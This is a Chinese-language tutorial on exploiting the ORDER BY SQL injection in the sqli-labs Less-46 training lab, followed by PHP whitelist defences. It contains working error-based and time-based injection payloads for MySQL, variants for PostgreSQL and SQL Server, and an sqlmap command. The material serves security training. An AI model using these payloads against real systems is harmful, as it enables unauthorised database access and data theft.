1. 项目概述：sqli-labs-Less-46 靶场解析
sqli-labs是一个专为学习SQL注入技术设计的开源靶场环境，其中Less-46是一个典型的基于排序参数（ORDER BY）的注入漏洞场景。这个关卡主要模拟了Web应用中因未对排序参数进行严格过滤而导致的SQL注入风险。与常规的WHERE子句注入不同，ORDER BY注入的利用方式更为特殊，需要掌握特定的技巧才能成功利用。
在实际渗透测试中，排序功能注入常被忽视，但危害性丝毫不亚于其他类型的注入。攻击者通过操控排序参数，不仅可以窃取数据库信息，还可能通过报错注入获取服务器敏感数据。Less-46正是为了训练安全人员识别和利用这类特殊注入点而设计的教学案例。
2. 漏洞原理与技术背景
2.1 ORDER BY 注入的独特之处
ORDER BY子句在SQL中用于对结果集进行排序，其语法结构决定了它不能直接使用UNION、WHERE等常规注入技术。Less-46的关键在于：应用程序直接将用户输入的排序参数拼接到ORDER BY子句中，且未做任何过滤处理。典型的漏洞代码可能如下：
sql复制SELECT * FROM users ORDER BY $_GET['sort'];
与普通注入不同，ORDER BY注入有以下特点：
- 不能直接使用UNION联合查询
- 无法使用布尔型盲注的AND/OR逻辑
- 可利用报错注入或时间盲注技术
- 注入点通常位于参数值而非语句结构
2.2 漏洞利用的核心思路
在Less-46中，攻击者可以通过以下方式验证漏洞存在：
- 正常排序：
?sort=1（按第一列升序） - 测试注入：
?sort=1+desc（按第一列降序） - 触发报错：
?sort=(select 1)（尝试执行子查询）
当页面能够响应这些排序变化或返回数据库错误信息时，即可确认存在ORDER BY注入漏洞。这种漏洞的利用通常需要结合数据库特性，不同DBMS的利用方式有所差异。
3. 详细利用过程解析
3.1 环境搭建与初步测试
首先需要配置好sqli-labs环境，访问Less-46的页面。初始界面通常会显示一个可排序的数据表，URL中包含sort参数：
code复制http://localhost/sqli-labs/Less-46/?sort=1
通过修改sort参数值，观察页面变化：
?sort=1：按第一列升序?sort=2：按第二列升序?sort=1+desc：按第一列降序
如果这些操作都能正常响应，说明排序参数确实被直接拼接到SQL语句中。
3.2 报错注入技术实现
对于MySQL数据库，可以利用报错注入技术提取信息。关键payload如下：
sql复制?sort=(SELECT 1 FROM (SELECT count(*),concat(version(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
这个payload的工作原理：
- 通过子查询构造一个会触发重复键错误的语句
concat(version(),floor(rand(0)*2))将数据库版本与随机数拼接GROUP BY操作导致rand()函数多次计算，引发主键冲突- MySQL会返回包含version()信息的错误消息
类似地，可以获取其他敏感信息：
- 当前用户：
user() - 数据库名：
database() - 表结构：
(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())
3.3 盲注技术应用
当报错信息被屏蔽时，可以使用基于时间的盲注技术。MySQL下的时间盲注payload示例：
sql复制?sort=if(ascii(substr(database(),1,1))>100,sleep(3),1)
这个payload会：
- 获取当前数据库名的第一个字符的ASCII码
- 如果大于100，则延迟3秒响应
- 通过响应时间判断条件真假
构建完整的盲注过程需要自动化工具，但理解其原理对于手动测试至关重要。
4. 防御方案与最佳实践
4.1 输入验证与过滤
最根本的解决方案是对排序参数进行严格限制：
php复制$allowed_columns = ['id', 'username', 'email'];
$sort = $_GET['sort'];
if (!in_array($sort, $allowed_columns)) {
$sort = 'id'; // 默认值
}
4.2 参数化查询替代方案
对于复杂场景，可以使用映射方式：
php复制$sort_mapping = [
'name' => 'username',
'mail' => 'email'
];
$sort_key = $_GET['sort'];
$sort_column = $sort_mapping[$sort_key] ?? 'id';
4.3 其他防御措施
- 最小权限原则：数据库账户只授予必要权限
- 错误处理：自定义错误页面，避免泄露数据库信息
- WAF规则：针对ORDER BY注入的特殊规则
5. 实战经验与技巧
5.1 不同数据库的利用差异
- MySQL：适合报错注入，可利用rand()、extractvalue()等函数
- PostgreSQL：
?sort=1 ASC, (SELECT CAST(current_database() AS NUMERIC)) -- - SQL Server：
?sort=1;WAITFOR DELAY '0:0:5'--
5.2 常见问题排查
-
注入无响应时：
- 检查参数是否真的影响排序
- 尝试不同的注入位置（如
?sort=(sleep(5))） - 确认是否有WAF拦截
-
报错信息被屏蔽时：
- 转向时间盲注技术
- 尝试不同的报错函数
- 使用更隐蔽的payload
5.3 自动化工具使用建议
虽然可以手动测试，但推荐结合工具提高效率：
- SQLmap命令：
sqlmap -u "http://target/Less-46/?sort=1" --technique=E - 配置tamper脚本处理特殊过滤
- 注意设置延迟参数避免被封禁
6. 漏洞危害与修复验证
ORDER BY注入可能导致：
- 数据库信息泄露（表结构、数据内容）
- 服务器文件读取（LOAD_FILE函数）
- 在某些情况下实现RCE（如into outfile）
修复后应验证：
- 尝试原有payload是否仍然有效
- 检查是否返回默认错误页面
- 确认时间盲注也不再奏效
在实际开发中，建议将排序逻辑封装成固定方法，避免直接拼接用户输入。安全是一个持续的过程，需要定期审计和测试所有用户输入点。